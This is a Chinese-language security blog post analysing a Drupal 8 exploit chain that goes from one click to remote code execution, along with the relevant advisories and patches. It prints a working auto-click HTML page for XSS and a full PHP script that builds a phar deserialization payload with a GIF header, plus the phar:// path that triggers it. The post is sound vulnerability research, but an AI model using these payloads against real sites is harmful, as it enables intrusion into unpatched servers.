LoRexxar's Blog

Drupal 1-click to RCE分析

Word count: 1.4kReading time: 5 min
2019/04/19 Share

2019年4月11日,zdi博客公开了一篇A SERIES OF UNFORTUNATE IMAGES: DRUPAL 1-CLICK TO RCE EXPLOIT CHAIN DETAILED.

整个漏洞的各个部分没什么特别的,巧妙的是,攻击者使用了3个漏洞+几个小trick,把所有的漏洞链接起来却成了一个还不错的利用链,现在我们就来一起看看整个漏洞.

无后缀文件写入

在Drupal的机制中,设定了这样一条规则。

用户上传的图片文件名将会被保留,如果出现文件名相同的情况,那么文件名后面就会被跟上_0,_1依次递增。

在Drupal中为了兼容各种编码,在处理上传文件名时,Drupal会对文件名对相应的处理,如果出现值小于0x20的字符,那么就会将其转化为_
image.png-130.8kB

但如果文件名中,如果出现了\x80\xff的字符时,PHP就会抛出PREG_BAD_UTF8_ERROR,如果发生错误,那么preg_replace就会返回NULL,$basename就会被置为NULL。

image.png-25.4kB

当basename为空时,后面的文件内容会被写入到形似_0的文件内
image.png-297.1kB

在这个基础下,原本会被上传到

1
/sites/default/files/pictures/<YYYY-MM>/

则会被写入

1
/sites/default/files/pictures/<YYYY-MM>/_0

当服务端开启了评论头像上传,或者是拥有作者账号时

攻击者可以通过上传一张恶意构造的gif图,然后再上传一张带有恶意字符的同一张图,那么就会将恶意图片的内容写入到相应目录的_0

image.png-214.9kB

但如果我们直接访问这个文件时,该文件可能不会解析,这是因为
1、浏览器首先会根据服务端给出的content-type解析页面,而服务端一般不会给空后缀的文件设置content-type,或者设置为application/octet-stream
2、其次浏览器会根据文件内容做简单的判断,如果文件的开头为<html>,则部分浏览器会将其解析为html
3、部分浏览器还可能会设置默认的content-type,但大部分浏览器会选择不解析该文件。

这时候我们就需要一个很特殊的小trick了,a标签可以设置打开文件的type(only not for chrome)

当你访问该页面时,页面会被解析为html并执行相应的代码。

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
</head>
<body>
<a id='a' href="http://127.0.0.1/drupal-8.6.2/sites/default/files/2019-04/_6" type="text/html">321321</a>
<script type="text/javascript">
var a = document.getElementById('a')
a.click()
</script>
</body>
</html>

当被攻击者访问该页面时,我们就可以执行任意的xss,这为后续的利用带来了很大的便利,我们有了一个同源环境下的任意js执行点,让我们继续看。

phar反序列化RCE

2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

在该议题中提到,在PHP中存在一个叫做Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了phar://这个stream wrapper。

在我们知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/)中表示,所有的文件函数都支持stream wrapper。

也就是说,如果我们找到可控的文件操作函数,其参数可控为phar文件,那么我们就可以通过反序列化执行js。

在Drupal中,存在file system功能,其中就有一个功能,会把传入的地址做一次is_dir的判断,这里就存在这个问题

image.png-337kB

image.png-82.8kB

直接使用下面的payload生成文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
namespace GuzzleHttp\Psr7{
class FnStream{
public $_fn_close = "phpinfo";
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}
namespace{
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new \GuzzleHttp\Psr7\FnStream();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>

修改后缀为png之后,传图片到服务端,并在file system中设置

1
phar://./sites/default/files/2019-04/drupal.png

即可触发

image.png-215kB

漏洞要求

这个漏洞在Drual8.6.6的更新中被修复,所以漏洞要求为

  • <= Durpal 8.6.6
  • 服务端开启评论配图或者攻击者拥有author以上权限的账号
  • 被攻击者需要访问攻击者的url

当上面三点同时成立时,这个攻击链就可以被成立

漏洞补丁

无后缀文件写入 SA-CORE-2019-004

https://www.drupal.org/SA-CORE-2019-004

image.png-40.6kB

如果出现该错误直接抛出,不继续写入

https://github.com/drupal/drupal/commit/82307e02cf974d48335e723c93dfe343894e1a61#diff-5c54acb01b2253384cfbebdc696a60e7

phar反序列化 SA-CORE-2019-002

https://www.drupal.org/SA-CORE-2019-002

写在最后

回顾整个漏洞,不难发现其实整个漏洞都是由很多个不起眼的小漏洞构成的,Drupal的反序列化POP链已经被公开许久,phar漏洞也已经爆出一年,在2019年初,Drupal也更新修复了这个点,而preg_replace报错会抛出错误我相信也不是特别特别的特性,把这三个漏洞配合上一个很特别的a标签设置content-type的trick,就成了一个很漂亮的漏洞链。

CATALOG
  1. 1. 无后缀文件写入
  2. 2. phar反序列化RCE
  3. 3. 漏洞要求
  4. 4. 漏洞补丁
    1. 4.1. 无后缀文件写入 SA-CORE-2019-004
    2. 4.2. phar反序列化 SA-CORE-2019-002
  5. 5. 写在最后